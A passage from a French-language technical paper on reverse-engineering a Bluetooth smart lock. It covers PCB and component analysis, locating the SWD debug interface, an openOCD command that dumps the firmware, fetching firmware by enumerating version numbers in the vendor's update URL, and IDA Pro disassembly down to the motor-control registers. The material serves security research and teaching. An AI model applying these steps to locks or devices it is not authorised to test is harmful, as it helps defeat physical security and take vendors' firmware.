manceuvré de force. Il est impossible :

— d’alimenter le moteur de fagon a actionner 'ouverture de la serrure;
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— de déclencher I'ouverture par I'insertion de conducteurs (crochet mé-
tallique, fil de fer, etc.);

— de causer une défaillance électronique aboutissant a l'ouverture par
défaut (fail open) de la serrure.

6 Reétro-ingénierie de circuits imprimés

6.1 Analyse globale du circuit

Une fois le ou les circuits imprimés extraits, il faut identifier les différents
composants présents sur ces derniers. Par ailleurs, il est intéressant de
déterminer certains groupes de composants afin de cerner plus rapidement
le role de ces derniers et de limiter les candidats.

Pour ce faire, nous essayons dans un premier temps d’analyser le ou les
circuits imprimés avec des techniques n’altérant pas ces derniers. L’équi-
pement reste ainsi fonctionnel et permet de confirmer les observations par
des mesures effectuées sur ’équipement actif, si cela est possible.

Une bonne lecture des fonctionnalités offertes par I’équipement testé
permet d’émettre des hypotheses sur les technologies utilisées, ainsi que
sur les composants associés.

En ce qui concerne notre serrure connectée, nous savons notamment
que notre serrure :

— communique via le protocole Bluetooth Low Energy (BLE) avec un
smartphone ;

— actionne une véritable serrure afin de déverrouiller et verrouiller la
porte sur laquelle elle est installée ;

— posseéde sa propre source d’énergie (elle n’est pas alimentée sur le
secteur) et peut étre rechargée.

De ces constatations nous pouvons supposer que la serrure possede :

— une antenne et un composant supportant le protocole BLE ;
— au moins un moteur et des composants permettant de le ou les piloter ;
— une batterie et un circuit de charge.

Les ingénieurs concevant des circuits électroniques sont humains et pensent
leurs circuits de fagon réfléchie et logique. Ainsi, les circuits imprimés
sont généralement constitués de plusieurs zones ayant chacune un role ou
une fonction précise. Par exemple, les composants liés a ’alimentation
d’un circuit tout comme ceux associés aux communications sans-fil sont
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généralement placés en périphérie de circuit afin de faciliter la dissipation
de chaleur pour le premier et de limiter les interférences pour le second.

Nous confirmons ensuite ces hypotheéses en analysant de plus pres le
circuit imprimé et les composants de la serrure. Nous y retrouvons ainsi
deux batteries lithium-polymere, un circuit de charge et son composant
gérant l'alimentation, des composants permettant de piloter le moteur
et un composant intégré supportant le protocole Bluetooth Low Energy
accompagné d’une antenne intégrée au circuit imprimé.

Fig. 2. Circuit imprimé de la serrure

L’identification du circuit d’alimentation est généralement aisé, ce
dernier employant des pistes plus larges car travaillant avec des intensités
plus élevées, de maniere a réduire les pertes par dissipation thermique
(plus la section de piste est petite et plus la piste chauffe, pour une méme
intensité). La figure 3 montre les pistes utilisées sur le circuit imprimé
pour connecter les batteries externes.

Fig. 3. Pistes larges pour le circuit d’alimentation
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A cela s’ajoute pour certains circuits imprimés ’'emploi de condensa-
teurs électrochimiques volumineux, en particulier pour les équipements
alimentés par des tensions supérieures ou égales a 12 Volts. La serrure
étant alimentée a partir de batteries de 3.6 Volts, il est normal de ne pas
trouver ce type de condensateur.

Enfin, il est toujours judicieux d’essayer de déterminer le nombre de
couches du circuit imprimé. En effet, les circuits imprimés actuels peuvent
comporter d'une a 16 couches de pistes dans la méme épaisseur de circuit.
Cela permet d’une part de limiter la surface des circuits et d’autre part
de faciliter le « routage » des pistes.

Identifier le nombre de couches n’est pas tache aisée, mais il existe
certaines astuces permettant d’approximer leur nombre :

— l'observation du circuit imprimé en transparence grace a une source
lumineuse relativement puissante permet de déceler la présence de
pistes internes, et donc de déduire qu’'un circuit a au minimum 4
couches (2 couches externes et 2 internes) ;

— la présence de vias débouchant non-connectés est caractéristique d’un
circuit a 4 couches et plus;

— certains concepteurs inserent un cartouche dans lequel le numéro de
couche est indiqué, afin de plus facilement s’y retrouver lors de la
conception.

En ce qui concerne le circuit imprimé de notre serrure, il ne comporte
que deux couches : tous les vias sont débouchant et connectés, et une
vision en transparence ne laisse entrevoir aucune piste interne.

6.2 Identification des composants

Une fois les différentes fonctions localisées sur le circuit imprimé, il est
nécessaire de déterminer tous les composants actifs utilisés. Il n’y a pas
de solution miracle, cette phase d’identification repose sur la lecture des
marquages présents sur les composants en question, ainsi que sur leurs
packages aussi appelés boitiers.

Le minimum requis est une loupe éclairante qui permet d’obtenir un
grossissement et un éclairage suffisant a la lecture des marquages. Il est
toutefois possible d’utiliser un microscope binoculaire, tels ceux employés
pour la soudure de précision.

Marquages des composants. La lecture des marquages est une étape
importante, mais celle-ci reste la plupart du temps erratique car il est
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difficile de déterminer la suite de caractéres correspondant a la référence
d’un composant.
Les marquages contiennent généralement les informations suivantes :

— logo du fondeur;
— référence complete ou abrégée du composant ;
— numéro de lot ou de série du composant.

Bien sfir, ces indications varient en fonction de la taille du composant :
plus celui-ci est petit, plus le texte inscriptible est court. Dans le cadre de
notre serrure, nous avons réalisé une photographie des différents compo-
sants placés sous une loupe éclairante. Les marquages de ces composants
sont bien visibles, permettant une identification aisée.

Nous pouvons des lors identifier deux composants clefs :

— un composant au format QFN48, marqué « N52832QFAABO » ;
— un composant au format SOIC16, marqué « DRV8848 » et possédant
le logo de Texas Instruments.

6.3 Identification des interconnexions
Les circuits imprimés possedent trois principaux éléments :

— les pads, sur lesquels sont soudés les différents composants ;

— les pistes réalisant les connexions entre les différents pads;

— les vias permettant la connexion de pistes situées sur des couches
différentes.

Test de continuité. La premiere approche pour ’analyse des intercon-
nexions repose sur 1'utilisation d’un testeur de continuité. Cet outil permet
de déterminer facilement si deux pads ou vias sont connectés, idéalement
grace a un avertissement sonore. La plupart des multimetres actuels pos-
sedent cette fonctionnalité, mais tous ne proposent pas un signalement
sonore.

Le choix d’un multimétre n’est pas anodin, car de ses caractéristiques
dépendront la précision des mesures et sa facilité d’utilisation. Il faut no-
tamment porter une attention particuliere aux caractéristiques suivantes :

— la vitesse d’échantillonnage ou le nombre de mesures réalisées a la
seconde : plus elle est élevée et meilleures sont les mesures;

— le signalement sonore immédiat lors de test de continuité : certains
multimetres ont une latence qui rend tres difficile la détection de
connexions par balayage de contacts;
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— le calibrage automatique qui facilite 'utilisation.

Ces caractéristiques impactent le prix du multimetre, et généralement
les multimetres bas de gamme (aux alentours de 10 euros) que l'on trouve
sur Amazon ou d’autres sites marchands sont relativement limités. Cepen-
dant, certains d’entre eux ont un signalement sonore immédiat largement
suffisant aux tests de continuité, mais cela n’est pas indiqué sur la boite ou
dans les spécifications. Il vaut mieux se fier & un multimetre un peu plus
cher (entre 50 et 100 euros) afin d’avoir un meilleur taux d’échantillonnage
et un signalement sonore immeédiat.

Photographie de circuit. La seconde approche repose sur la photogra-
phie de circuit. Il est possible de cartographier un circuit double-couche
avec un matériel adéquat, puis d’'utiliser des logiciels de traitement d’image
afin de retracer les pistes et déterminer les interconnexions. La figure 4
montre les photographies du recto et du verso du circuit de notre serrure,
réalisées avec un appareil Reflex.

Fig. 4. Photographies recto et verso

Une autre solution consiste a utiliser un numériseur employant un
capteur CCD non CMOS, tel que le modele V600 d’Epson ou la caméra
Ziggy HD d’EPIVO. Le but ici n’est pas de promouvoir ces équipements
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ou constructeurs, mais bien de donner des pistes au lecteur désireux de
réaliser des images de qualité de circuits imprimés.

L’inconvénient de cette méthode est qu’il est nécessaire dans certains
cas de dessouder des composants afin de révéler le routage des pistes
passant sous ceux-ci. Cela suppose de disposer d’au moins deux exemplaires
du circuit imprimé, ce qui n’est pas toujours le cas.

Fig. 5. Interconnexion entre nRF52832 et DRV 8848

Des outils adaptés comme dePCB ou pcbRE permettent par ailleurs
un traitement automatisé des photographies et la récupération partielle
de schémas de pistes, mais ils requierent tout de méme une intervention
humaine et sont sujets aux erreurs. Certaines solutions sont en cours
de développement, comme celle proposée par Stephen Kleber, Henrik
Ferdinand Nolscher et Frank Kargl et présentée a Woot17 [18], mais ne
sont pas actuellement disponibles. Au final, il n’est pas tres compliqué
d’utiliser des outils de traitement d’image comme Inkscape pour retracer
les différentes pistes et identifier les connexions, comme le montre la figure 5
avec une connexion a trois pistes entre le nRF52832 et le DRV 8848.

6.4 Documentations techniques des composants

Une fois les composants et leurs interconnexions identifiés, la consultation
des documentations techniques permet de déterminer les caractéristiques
et roles de ces derniers. Elles permettent par ailleurs de déterminer le role
des entrées/sorties de certains composants comme des micro-controleurs
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par exemple, en comparant les roles des différentes broches de ces derniers.
En effet, certaines entrées/sorties sont configurables ou peuvent jouer un
role dans différents protocoles de communication électroniques.

Guide de lecture. Les documentations techniques sont généralement
rédigées selon un modele standard, qui fournit tout un lot d’information
au lecteur attentif. Cependant, certaines sections doivent obligatoirement
étre passées en revue afin d’avoir les informations techniques nécessaires
permettant le cablage d’équipements externes au composant, si cela est
requis. Savoir identifier rapidement la tension d’alimentation ou le courant
nominal, voire le role des différentes entrées/sorties peut aider a ’analyse
du circuit imprimé. Et éviter bien des erreurs. De méme, I’identification
des caractéristiques d’un micro-controleur (taille de la mémoire flash, type
de CPU, taille de la RAM, organisation de la mémoire) est capitale pour
la suite de ’analyse sécurité.

Prenons ’exemple de notre composant nRF52832, dont la documenta-
tion technique est disponible sur Internet [6]. Cette documentation débute
par une page de garde rappelant les informations suivantes :

— la référence du composant ;

— la description du composant ;
— ses principales fonctionnalités ;
— ses usages possibles.

La page de garde indique que le processeur utilisé dans ce composant
est un ARM Cortex-M4 32 bits avec FPU, cadencé a 64 MHz, que ce
composant existe en deux versions : I'une possédant 256 Kio de mémoire
Flash et 32 Kio de mémoire vive, I'autre 512 Kio de mémoire Flash et
64 Kio de mémoire vive.

L’identification de la variante est possible grace a sa référence, définie
par quatre lettres situées a la fin de celle-ci. D’apres la référence identifiée
(N52832QFAABO), et a l’aide des indications de la documentation, nous
déterminons que la variante employée dans notre cas possede 512 Kio de
mémoire Flash et 64 Kio de RAM.

D’une maniere générale, il est fortement recommandé d’identifier les
tensions et intensités maximales et nominales supportées par le compo-
sant, afin de limiter les risques de destruction en cas d’utilisation d’une
alimentation externe. La figure 6 montre un tableau récapitulatif typique
des documentations techniques.

Enfin, nous identifions le brochage du composant en fonction de son
format (dans notre cas un format QFN48) et de la documentation. Nous
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7 Operating conditions

The operating conditions are the physical parameters that the chip can operate within as defined in
Table 20.

Symbol Parameter Notes Min. Typ. Max. Units
VDD Supply voltage, internal LDO setup 18 3.0 36 \'
VDD Supply voltage, DC/DC converter setup 21 3.0 36 \'
VDD Supply voltage, low voltage mode 1 175 18 1.95 v

setup
tr vDD Supply rise time (0 V to VDD) 2 100 ms
Ta Operating temperature -25 25 75 °C

1. DEC2 shall be connected to VDD in this mode.
2. The on-chip power-on reset circuitry may not function properly for rise times outside the specified interval.

Fig. 6. Valeurs maximales et nominales

déduisons ainsi que les broches P0.12, P0.13 et P0.15 sont connectées
au DRV8848, et que les broches SWDIO et SWDCLK sont connectées a
I’emplacement de connecteur situé a coté du nRF52832.

D’apres la documentation, ces broches SWDIO et SWDCLK sont
utilisées pour la programmation du nRF52832, nous pouvons ainsi en
déduire que le connecteur placé a proximité du nRF52832 sert au débogage

et a la programmation de cette puce, supportant les protocoles Joint Test
Action Group (JTAG) et Serial Wire Debug (SWD).

6.5 Rétro-ingénierie du circuit électronique

Une fois les composants et leurs interconnexions identifiés, il est possible
de recréer un schéma de principe et un schéma électronique minimaliste
permettant de comprendre la conception de I’équipement testé. Ce schéma
met par ailleurs en évidence les interfaces de communication entre les
différents composants (comme des bus 12C ou SPI) ainsi que les interfaces
de débogage précédemment identifiées (JTAG/SWD).

L’utilisation de logiciels de dessin vectoriel comme Inkscape permet de
recréer sommairement le schéma électronique, et de garder une trace des
différents points d’intérét qui seront utiles a analyse (voir figure 7). Cette
documentation technique servira de base pour la suite. Notez bien que
I’on renseigne les différents composants, leurs orientations et détrompeurs
(indiquant les broches 1) ainsi que les interconnexions matérialisées par
les différentes pistes.
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BAT2 |- ====°=°*=
O | Charge WE O

CONTACTEUR

SWDCLK

O

Fig. 7. Rétro-ingénierie du circuit électronique

6.6 Des puces et des Hommes

Une fois les composants et le circuit récupérés, nous passons a ’analyse
des éléments actifs : micro-controleurs (MCU) et systémes-sur-une-puce
(SoC). La documentation est la premiere source d’information pour cette
analyse, car elle contient toutes les informations d’architecture de ces
différents composants.

Architecture des SoC et MCU. Les micro-controleurs et systemes-
sur-une-puce sont de véritables petits ordinateurs possédant notamment
un CPU, de la mémoire interne Flash, ainsi que différents périphériques.
Le micro-contréleur est généralement abordable et de moindre capacité
que le systéeme-sur-une-puce, ce dernier proposant habituellement une ou
plusieurs fonctions spécifiques.

La figure 8 montre I'architecture interne d’un micro-contréleur AT-
Mega644 de ATMEL. On y trouve de la mémoire (Flash, SRAM et
EEPROM) ainsi que des périphériques permettant de communiquer avec
d’autres puces externes (SPI et USART). Quatre ports d’entrées/sor-
ties configurables sont présents, offrant 8 entrées/sorties chacun, dont
deux peuvent étre utilisés comme convertisseurs analogique/numérique ou
numérique/analogique.

Le SoC quant a lui a une architecture bien plus complexe, proposant
différents périphériques implémentant des opérations spécifiques, comme
certains dédiés au chiffrement ou a la transmission et réception de signaux
radio-fréquence.

L’architecture d’un MCU étant plus simple, débutons par cette der-
niere. Le MCU est basé sur un CPU (Central Processing Unit ou « unité
centrale de traitement »), qui effectue toutes les opérations présentes dans
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Fig. 8. Architecture ATMega644 de ATMEL (AVR)

un programme stocké en mémoire flash interne. Le programme utilise la
mémoire vive (SRAM) pour stocker des valeurs de maniere temporaire,
et la mémoire EEPROM (ou Flash dans certains cas) pour un stockage
persistant. Enfin, des entrées/sorties (aussi dénommées GPIO pour « Ge-
neral Purpose Input/Output ») sont pilotables par le programme, via
des registres spécifiques. Ainsi, le ATMega644 peut configurer certaines
GPIO afin qu’elles soient utilisables par le programme en tant qu’entrées
numériques (ou analogiques), ou bien en tant que sorties.

Les entrées/sorties sont fournies par un périphérique spécifique, qui
est piloté par le programme grace a des registres spécifiques. Ces registres
ne sont rien d’autre que des zones mémoires partagées, qui permettent
de communiquer avec le périphérique. Comme toute zone mémoire, ces
registres ont une adresse et peuvent étre lus et dans certains cas modifiés.

Dans le cas des SoC, le principe est similaire : le programme com-
munique avec des périphériques via un ou plusieurs bus internes et des
registres spécifiques, stockés dans différentes adresses mémoire.

Cartographie mémoire. La cartographie mémoire définit la maniere
dont la mémoire est utilisée, et notamment ’emplacement et role des di-
verses zones mémoires utilisées dans le cadre d’'un MCU ou d’un SoC. Cette
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cartographie est importante, et doit étre consultée dans la documentation
technique car elle fournit de précieux renseignements.

Ainsi, on pourra déterminer 'adresse de début du programme stocké
en mémoire Flash, mais aussi déterminer ’adresse de base des différents
périphériques.

Les différents périphériques utilisent des registres placés dans des zones
allouées spécifiquement, tel que décrit dans la table d’instanciation (voir
figure 9).

ID Baseaddress Peripheral Instance Description
0 0x40000000 POWER POWER Power control

0 0x40000000 CLOCK CLOCK Clock control

1 0x40001000 RADIO RADIO 2.4 GHz Radio

2 0x40002000 UART UARTO Universal Asynchronous Receiver/Transmitter 0
3 0x40003000 SPI SPIO Serial Peripheral Interface

3 0x40003000 TWI TWI0 12C compatible Two-Wire Interface
4 0x40004000 SPI SPI Serial Peripheral Interface

4 0x40004000 TWI Twit I3 compatible Two-Wire Interface 1
6 0x40006000 GPIOTE GPIOTE GPIO Tasks and Events

7 0x40007000 ADC ADC Analog-to-Digital Converter

8 0x40008000 TIMER TIMERO Timer/counter 0

9 0x40009000 TIMER TIMER1 Timer/counter 1

10 0x4000A000 TIMER TIMER2 Timer/counter 2

1 0x4000B000 RTC RTCO Real Time Counter 0

12 0x4000C000 TEMP TEMP Temperature sensor

13 0x4000D000 RNG RNG Random number generator

14 0x4000E000 ECB ECB Crypto ECB

15 0x4000F000 CCM ccMm AES CCM mode encryption

15 0x4000F000 AAR AAR Accelerated Address Resclver

16 0x40010000 WDT wDT Watchdog timer

17 0x40011000 RTC RTC1 Real Time Counter 1

18 0x40012000 QDEC QDEC Quadrature Decoder

Fig. 9. Adresses mémoire des périphériques (nRF51xx)

Interfaces de débogage et de programmation. Enfin, le MCU et le
SoC fournissent une ou plusieurs interfaces de débogage et de program-
mation, permettant d’écrire un programme dans la mémoire Flash et de
le déboguer a distance. Ces interfaces sont tres intéressantes pour un
attaquant, car elles peuvent permettre dans certains cas la lecture de la
mémoire Flash, et donc 'extraction du programme sous forme de code
machine.
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De méme, elles peuvent offrir 'acces a certaines zones mémoire comme
celles contenant la mémoire volatile (SRAM) ou encore les registres de cer-
tains périphériques, ces derniers étant accessibles car mappés en mémoire.

Les interfaces de programmation et de débogage JTAG et SWD sont
couramment utilisées a ces fins, et peuvent étre exposées via des broches

du MCU ou du SoC.

Options de boot. Tout comme les ordinateurs de bureau, les MCUs et
SoCs peuvent avoir une configuration particuliere permettant de démarrer
sur un code spécifique et non directement sur le programme installé, afin
par exemple d’offrir des fonctionnalités de mise a jour du programme
(Direct Firmware Upgrade ou DFU) ou de gestion d’erreur. Dans ce cas,
une zone mémoire est réservée a un programme d’amorcgage, généralement
dénommé bootloader, qui prend le relais quand certaines conditions sont
remplies.

La plupart de ces systémes offrent un moyen de configurer les options
de démarrage, soit programmatiquement soit tout simplement via des
broches spécifiques. Il peut étre intéressant de tenter de démarrer sur
le programme d’amorcage, celui-ci pouvant offrir un acces a la mémoire
Flash (selon la configuration).

Protection de la mémoire. Bien siir, les fabricants de MCUs et de
SoCs ont pensé a intégrer des mécanismes visant a protéger la propriété
intellectuelle, principalement basés sur des fusibles. Ces derniers sont
en réalités des transistors intégrés au MCU ou au SoC, que 'on peut
« claquer » et dans certains cas réarmer. Ces fusibles permettent d’activer
la protection du programme contre ’extraction, voire dans certains cas de
configurer un mode de démarrage particulier.

Il existe toutefois des contournements, comme pour le nRF51 ou la
famille des STM32F0x de STMicro par exemple, qui nécessite soit une
exploitation d'un défaut de configuration (comme sur le nRF51) soit une
attaque par canal auxiliaire (comme sur le STM32F0x de STMicro).

7 Collecte et désassemblage des logiciels

L’ingénierie a rebours d’un systeme connecté comprend ’analyse du ou
des micro-logiciels, les programmes présents dans les micro-contréleurs et
systemes-sur-une-puce, ainsi que des logiciels associés : applications de
bureau, applications mobiles, services web, etc.
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Dans le cas de notre serrure connectée, nous disposons d’un micro-
logiciel stocké dans un SoC et d’une application mobile.

7.1 Accés au micro-logiciel

L’acces au micro-logiciel stocké dans un MCU ou un SoC est dans certains
cas possible via les interfaces de débogage si ces derniéres sont activées et
accessibles. Si le systeme possede une fonctionnalité de mise-a-jour de son
micro-logiciel via un moyen de communication sans-fil (FOTA), alors il est
possible de retrouver ce dernier sur un service tiers voire dans I’application
meéme.

Extraction du micro-logiciel par interface de débogage. Comme
nous ’avons précédemment identifié, un connecteur de débogage et de
programmation est présent sur le circuit imprimé. Nous y soudons 4 fils
permettant de s’interfacer avec ce connecteur que nous connectons a un
adaptateur compatible avec le protocole de programmation. Dans le cas
de notre serrure, nous optons pour un adaptateur ST-Link v2, capable de
communiquer via le protocole SWD.

Une fois connecté, nous branchons ’adaptateur et utilisons 'outil
opensource openOCD [7] afin d’extraire contenu de la mémoire Flash,
accessible a I'adresse 0x0 telle que précisée dans la cartographie mémoire :

$ openocd -f interface/stlink-v2.cfg -f target/nrfbx.cfg -c init -c
halt -c "dump_image /tmp/firmware.bin 0x0O 0x80000"

Une fois 'extraction réalisée, il est de rigueur de vérifier le contenu du
fichier ainsi créé.

Bien stir, il existe des protections contre I'extraction de micro-logiciel
par les interfaces de débogage, que ce soit par des mécanismes de protection
de l'acces a la mémoire ou a des portions de zones mémoires, ou par la
désactivation pure et simple des interfaces de débogage. Dans le cas de
notre serrure, il semblerait que I'interface de débogage et de programmation
soit active et permette bien d’extraire le micro-logiciel.

Mais que faire lorsque ces interfaces sont désactivées ou qu’il est
impossible d’extraire la mémoire a cause des protections en place? La
réponse est simple : trouver un autre moyen de récupérer le micro-logiciel
ou une partie de ce dernier, et ’analyse de la fonctionnalité de mise-a-jour
est une tres bonne maniere d’y arriver.
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Extraction du micro-logiciel par exploitation du mécanisme de
mise-a-jour. Les mécanismes de mise-a-jour des micro-logiciels varient
d’une solution a une autre, mais nous pouvons distinguer plusieurs modes
opératoires :

— la mise-a-jour par connection filaire : il est nécessaire de connecter
I’équipement & un systéme ayant acces a un fichier de mise a jour (un
ordinateur, un smartphone, etc.) afin de mettre a jour le micro-logiciel
de ’équipement concerné ;

— la mise-a-jour sans-fil : aucune connexion filaire requise, une application
se charge de mettre a jour le micro-logiciel (on parle alors de mise-a-jour
OTA, pour « Over The Air »);

— la mise-a-jour est directement téléchargée par I’équipement via un
acces Internet, si ce dernier en possede.

Notre serrure ne dispose pas de connectivité Internet mais peut com-
muniquer avec une application installée sur un smartphone via le protocole
de communication Bluetooth Smart. C’est donc cette application qui a
pour role de télécharger le micro-logiciel et de I'installer dans le compo-
sant principal de la serrure. En analysant les communications de cette
application mobile avec les serveurs distants du fournisseur de la serrure,
il a ainsi été possible d’identifier une requéte interrogeant un serveur afin
de récupérer la derniere version du micro-logiciel. Le micro-logiciel est
transmis encodé en Base64, et il est méme possible de récupérer d’autres
versions correspondant a des micro-logiciels en cours de développement
grace a une énumération possible du numéro de version dans I'URL.

Extraction du micro-logiciel a partir de composants de sto-
ckage externes. Dans certains cas de figure, un composant externe
au SoC/MCU est utilisé pour stocker tout ou partie du micro-logiciel. 11
est alors nécessaire d’accéder a ce composant et extraire son contenu en
utilisant des protocoles de communication propres aux composants de
stockage.

Une maniere d’y arriver de facon siire et fiable consiste a dessouder le
composant de stockage du circuit imprimé, et a extraire son contenu avec
un matériel adapté, tel qu'un programmateur de composants de stockage.

Selon les formats de composants, il est possible de devoir utiliser
différents outils de lecture, comme dans le cas de puces e MM C par exemple.
Ces commposants se comportent comme une carte de stockage SD, mais
sont directement soudés sur le circuit imprimé. Il est alors nécessaire de
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les dessouder et d’utiliser un adaptateur adéquat, comme le montre la
figure 10.

Fig. 10. Adaptateur eMMC vers connecteur SD

7.2 Désassemblage du micro-logiciel

Une fois le micro-logiciel récupéré, il faut le désassembler pour pouvoir
I’analyser. Cette étape est nécessaire mais impose d’avoir suffisamment
d’information sur I’architecture et I'utilisation de la mémoire. On dis-
tingue ainsi les SoC exécutant un systeme d’exploitation (Android, Linux,
VxWorks, etc.) des SoC ou MCU exécutant un seul et unique programme
principal : 'analyse du micro-logiciel sera différente selon que 1’on ait a
faire a un systéme d’exploitation ou non.

Dans le cas ou l'on a a faire a un systéeme d’exploitation, on s’attendra
a trouver sur les supports de stockage un ou plusieurs systémes de fichiers.
Des outils comme binwalk sont d’ailleurs spécialisés dans ce type de
recherche, et permettent de découvrir des systemes de fichiers et les
extraire. On y recherche ensuite des fichiers exécutables que 'on peut
analyser grace a des outils comme IDA Pro ou Radare2.

Dans d’autres cas le SoC ou MCU va exécuter une seule application,
dont le code et les données sont présentes en mémoire. L’absence de
systeme de fichiers et donc de métadonnées rend I’analyse plus complexe.

Les informations de cartographie mémoire ainsi que celles relatives
au CPU présent dans le SoC ou dans le MCU permettent a la fois de
déterminer 'emplacement dans la mémoire extraite (le micro-logiciel)
du code de 'application mais aussi 'adresse virtuelle a laquelle ce code
est chargé. Muni de ces informations, nous pouvons des lors configurer
un désassembleur pour qu’il soit en mesure d’interpréter correctement le
mapping mémoire, ainsi que le jeu d’instructions.
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Chargement du micro-logiciel dans IDA Pro. A la différence des
fichiers exécutables respectant un format standardisé (ELF ou PE notam-
ment), le micro-logiciel se présente sous forme de dump mémoire dont la
structure est définie par la cartographie mémoire présente dans la docu-
mentation technique. Il n’y a pas de format unique, chaque cartographie
mémoire étant propre a un systeme, il faut donc indiquer a IDA Pro les
informations nécessaires pour qu’il puisse désassembler correctement le
micro-logiciel.

En premier lieu, nous allons devoir renseigner le type de CPU : dans
le cas de notre serrure, il s’agit d’un processeur ARM Cortex-M4. Ce
processeur supporte le jeu d’instructions ARM v6 et un sous-ensemble
d’instructions Thumb de ARM v7. Nous allons donc renseigner le bon
type de processeur lors de I'ouverture du fichier binaire avec IDA Pro.
De plus, nous allons devoir spécifier les options de ce processeur afin que
le désassemblage se fasse suivant le jeu d’instructions correspondant aux
spécifications. Pour ce faire, nous utilisons 'option Processor options pour
paramétrer plus finement le désassemblage, en précisant notamment la
version du CPU (ARM v6-M). Enfin, nous précisons la disposition de
la mémoire sur la base des informations glanées dans la documentation.
Ainsi, 'adresse de base de la RAM est 0x20000000, sa taille vaut 0x10000
et la taille de la ROM est de 0x80000 octets. Nous renseignons cela dans
IDA Pro et finalisons le désassemblage.

Désassemblage du code de I’application. Une fois le micro-logiciel
chargé, IDA Pro ne désassemble pas le code machine, et ce pour une
bonne raison : il ne sait pas par ou commencer! En effet, dans le cas
d’exécutables ELF ou PE l'adresse de la premiere instruction ainsi que
I’ensemble des sections sont renseignées, mais dans notre cas aucune de ces
informations n’est connue du logiciel. Il va falloir lui indiquer la maniere
de procéder, ce qui implique au préalable d’identifier la zone mémoire
contenant le code de 'application a analyser.

Nordic Semiconductor fournit un kit de développement logiciel pour
sa série de SoC nRF5x, qui dans le cas présent se révele tres instructif. En
parcourant la documentation de ce dernier, nous pouvons comprendre plus
précisemment le fonctionnement de ce kit et la fagon dont les applications
sont développées. En 'occurrence, Nordic Semiconductor propose aux
développeurs sa propre implémentation d’une pile Bluetooth Low Energy,
appelée SoftDevice, sous forme d’exécutable compilé afin de ne pas dévoiler
le code source de celle-ci. Autrement dit, notre micro-logiciel est composé
d’une application propriétaire qui appelle le code applicatif créé sur mesure
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par le concepteur de la serrure, qui pour sa part fait appel a des fonctions
natives exportées par la couche propriétaire.

Comme mentionné dans la documentation, le code de 'application
utilisant le SoftDevice est placé a une adresse fixe, codée en dur dans le
SoftDevice lui-méme. Trouver cette adresse est relativement trivial, il suffit
de consulter les fichiers de configuration d’édition des liens présents dans
le kit de développement (voir listing 1).

/% Linker script to configure memory regions. */

SEARCH_DIR(.)
GROUP (-1gcc -1lc -lnosys)

MEMORY
{

FLASH (rx) : ORIGIN 0x1£f000, LENGTH = 0x61000

RAM (rwx) : ORIGIN 0x20000000, LENGTH = 0x10000
}
SECTIONS
{
.fs_data
{
PROVIDE(__start_£fs_data = .);
KEEP (x(.fs_data))
PROVIDE(__stop_fs_data = .);
} > RAM

} INSERT AFTER .data;

INCLUDE

Listing 1. Script de configuration du linker

D’aprées le contenu de ce script a destination de arm-gcc, la zone
mémoire réservée a l'application débute a ’adresse 0x1F000 et a une
taille de 0x61000 octets. Nous demandons alors a IDA Pro d’analyser
la section de mémoire en question, et vérifions le bon désassemblage en
passant en revue le code. Dans le cas présent, les références aux chaines
de caracteres semblent correctes, ce qui est un bon indicateur comme le
montre la figure 11.

Appels systemes vers le SoftDevice. Nous avons vu précédemment
que le code de I'application produit par le concepteur de la serrure fait appel
a une pile propriétaire pour créer et gérer un équipement Bluetooth Low
Energy. Ces appels a la pile propriétaire sont réalisés via le systéme d’appels
de supervision (« Supervisor Calls ») [5] fourni par I'architecture ARM.
Le principe de ce mécanisme est relativement simple : une application
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IDA V... @ “ Occurrences of .. Iil Strings win... @ Hex Vi... “ Occurrences of: ... IE Struct... Lgﬂ
ROM:@@82924C
DCD @x2ECE3
3 2 DCD @x2EC22
ROM: 22829258
ROM:@0829258 ; =============== S UBROUTINE
ROM: 22829258
ROM: 22829258
ROM:@8829258 sub_29258 ; CODE XREF: sub_1F93@+12tp
ROM: 22829258 3 sub_2927C+3Cip ...
P RoM:@@@29258 PUSH {R4,LR}
ROM: 82829254 MoV R4, R@
ROM: @@82925C MoV R2, R1
ROM: @@82925E STRE.W R1, [R4,# 1
ROM: 22829262 MOVS R@, #4
ROM: 88829264 LDR R1, =al32mDebugNewSt ; "‘\x1B[1;32m:DEBUG:new status: ¥d\n"
ROM: 82829266 BL sub_24374
ROM: 82829264 ADD.W R@, R4, #oxDa
ROM: 88082926E POP.W {R4,LR}
— |ROM: 28829272 B.W sub_29F8C
ROM:000829272 ; End of function sub_29258
ROM: 22829272
L B s
29276 ALIGN 4
off_29278 DCD al32mDebuglewst
1 ¥d\n”

Fig. 11. Validation du code désassemblé

peut associer des numéros d’appel a des fonctions, et les appeler par la
suite en utilisant ce méme numéro et l'instruction SVC.

Nordic Semiconductor utilise ce mécanisme pour exposer un ensemble
de fonctions implémentées dans son SoftDevice, a la maniére des appels
systémes employés dans un systeme d’exploitation pour faire la transition
entre le code s’exécutant en mode utilisateur et le code noyau. Ces appels
systemes sont définis dans les fichiers d’en-tétes du kit de développement,
et peuvent ainsi étre rapidement identifiés.

D’apres le SDK, le numéro de base des appels de supervision relatifs au
GAP est défini par la constante BLE_GAP_SVC_BASE, qui vaut 0x6C. Ainsi,
le numéro d’appel de supervision correspondant a la fonction permettant
de configurer le nom de I’équipement (SD_BLE_GAP_DEVICE_NAME_SET)
vaut 0x7C, dont on peut retrouver une fonction de wrapping dans le code
de 'application, sous forme d’instruction SVC.

Enfin, nous pouvons trouver les références a cette fonction, et identifier
les portions de code faisant appel a cette fonction exposée par le SoftDevice.

Contréle du moteur de la serrure. Le contréle du moteur de la
serrure est effectué via le composant DRVES84S qui est un controleur de
moteur a courant continu. Nous avons précédemment identifié que les
ports P0.12,P0.13 et P0.15 servaient a communiquer avec ce controleur,
c’est donc en pilotant ces sorties que le nRF52832 pilote le moteur de la
serrure.

D’apres la documentation du nRF52832, le périphérique GPIO permet
de controler le port d’entrées/sorties PO via des registres spécifiques, ac-
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cessibles via des adresses mémoire. Ainsi, le périphérique PO est accessible
a ’adresse 0x50000000, et deux registres permettant de gérer 1’état des
broches de sortie sont disponibles :

— le registre OUTSET, accessible a ’adresse 0x50000000 + 0x508, permet
de configurer a I’état haut les bits du port de sortie PO ;

— le registre OUTCLR, accessible a ’adresse 0x50000000 + 0x50C, permet
de configurer a I’état bas les bits du port de sortie P0.

Il est aisé de rechercher ces valeurs dans le code de 'application afin
de localiser des routines manipulant le moteur. Il est ainsi possible de
trouver une routine ou I'adresse de base du périphérique (0x50000000) et
celle de l'offset du registre OUTSET (0x50C) sont utilisés, tout comme un
message de débogage relatif au moteur.

7.3 Désassemblage d’application mobile

En complément de I'analyse du micro-logiciel employé dans un équipement,
